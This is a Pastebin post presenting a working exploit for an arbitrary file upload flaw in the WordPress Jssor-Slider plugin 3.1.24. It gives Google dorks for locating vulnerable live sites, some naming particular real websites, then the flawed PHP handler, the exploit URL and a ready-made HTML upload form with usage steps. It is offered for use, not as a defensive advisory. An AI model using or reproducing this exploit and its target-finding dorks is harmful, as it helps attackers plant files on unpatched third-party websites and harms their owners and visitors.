Advertisement
KingSkrupellos

WordPress Jssor-Slider Plugins 3.1.24 CSRF File Upload

Feb 13th, 2019
337
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.78 KB | None | 0 0
  1. ##########################################################################
  2.  
  3. # Exploit Title : WordPress Jssor-Slider Plugins 3.1.24 CSRF Arbitrary File Upload
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 14/02/2019
  7. # Vendor Homepage : jssor.com ~ drcsystems.com ~ ethicsolutions.com
  8. # Software Download Link : downloads.wordpress.org/plugin/jssor-slider.3.1.24.zip
  9. # Software Information Link : wordpress.org/plugins/jssor-slider/
  10. # Software Affected Version : 3.1.24 and previous versions
  11. # Tested On : Windows
  12. # Category : WebApps
  13. # Exploit Risk : Medium
  14. # Google Dorks : inurl:''/wp-content/jssor-slider/''
  15. # Vulnerability Type : CWE-284 [ Improper Access Control ] - CWE-862 [ Missing Authorization ]
  16. # CXSecurity Reference Link : cxsecurity.com/ascii/WLB-2018060226
  17. # Cyberizm Reference Link : cyberizm.org/cyberizm-wordpress-drcsystems-ethicsolutions-jssorslider-exploit.html
  18.  
  19. ##########################################################################
  20.  
  21. # Description About Software :
  22. ****************************
  23. Description : “Jssor Slider by jssor.com” is open source software.
  24.  
  25. Jssor Slider is professional, light weight and easy to use
  26. slideshow/slider/gallery/carousel/banner, it is optimized for mobile device with tons of unique features.
  27.  
  28. # Key Features :
  29.  
  30. Touch Swipe - 200+ Slideshow Transitions - Layer Animation -
  31. Fast Loading, load slider html code from disk cache directly -
  32. High Performance Light Weight - Easy to Use - Repeated Layer Animation -
  33. Image Layer - Text/Html Layer - Panel Layer - Nested Layer -
  34. Layer Blending - Clip Mask - Multiplex Transition - z-index Animation -
  35. Timeline Break - Dozens of bullet/arrow/thumbnail skins
  36.  
  37. ##########################################################################
  38.  
  39. # Google Dorks :
  40. *********************
  41.  
  42. inurl:''/wp-content/jssor-slider/jssor-uploads/''
  43.  
  44. intext:''Managed by Web development company Ethic Solutions''
  45.  
  46. intext:''Todos los derechos reservados © Ecuaauto - Distribuidor autorizado Chevrolet Ecuador''
  47.  
  48. intext:''Website Developed by DRC Systems''
  49.  
  50. ##########################################################################
  51.  
  52. Vulnerable Source Code :
  53. ************************
  54. When the plugin is active the function register_ajax_calls() in the file /lib/jssor-slider-class.php is run:
  55.  
  56. That gives anyone access to two AJAX functions that are only intended to be accessible to those logged in as Administrators.
  57. The upload_library() function accessible through that handles uploading a file through /lib/upload.php.
  58. That file also doesn’t do any checks as to who is making the request and does not restrict what type of files can be uploaded.
  59. It is also possible to exploit this by sending a request directly to the file /lib/upload.php, as long as the undefined constant in that isn’t treated as an error.
  60. The following proof of concept will upload the selected file to the directory /wp-content/jssor-slider/jssor-uploads/.
  61. Make sure to replace “[path to WordPress]” with the location of WordPress.
  62.  
  63. public function register_ajax_calls() {
  64.  
  65. if ( isset( $_REQUEST['action'] ) ) {
  66. switch ( $_REQUEST['action'] ) {
  67. case 'add_new_slider_library' :
  68. add_action( 'admin_init', 'jssor_slider_library' );
  69. function jssor_slider_library() {
  70.  
  71. include_once JSSOR_SLIDER_PATH . '/lib/add-new-slider-class.php';
  72. }
  73. break;
  74. case 'upload_library' :
  75. add_action( 'admin_init', 'upload_library' );
  76. function upload_library() {
  77.  
  78. include_once JSSOR_SLIDER_PATH . '/lib/upload.php';
  79. }
  80. break;
  81. }
  82. }
  83. }
  84.  
  85.  
  86. #####################################################################################################
  87.  
  88. # Exploit :
  89. **********
  90.  
  91. /wp-admin/admin-ajax.php?param=upload_slide&action=upload_library
  92.  
  93. # Error : {"jsonrpc" : "2.0", "result" : null, "id" : "id"}
  94.  
  95. # Exploit Code :
  96. ***************
  97.  
  98. <html>
  99. <body>
  100. <form action="http://[PATH]/wp-admin/admin-ajax.php?param=upload_slide&action=upload_library" method="POST" enctype="multipart/form-data" >
  101. <input type="file" name="file" />
  102. <input type="submit" value="Submit" />
  103. </form>
  104. </body>
  105. </html
  106.  
  107. # Uploaded File Path :
  108. ********************
  109.  
  110. /wp-content/jssor-slider/jssor-uploads/.....
  111.  
  112. # Allowed File Extensions : With the exception of php and asp. [ Not Allowed ]
  113.  
  114. But other files extensions are allowed. For example html and txt and etcetra....
  115.  
  116. # Usage : Use with XAMPP Control Panel and with your Localhost [ 127.0.0.1]
  117.  
  118. localhost/jssorsliderexploiter.html
  119.  
  120. #################################################################################################
  121.  
  122. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  123.  
  124. #################################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement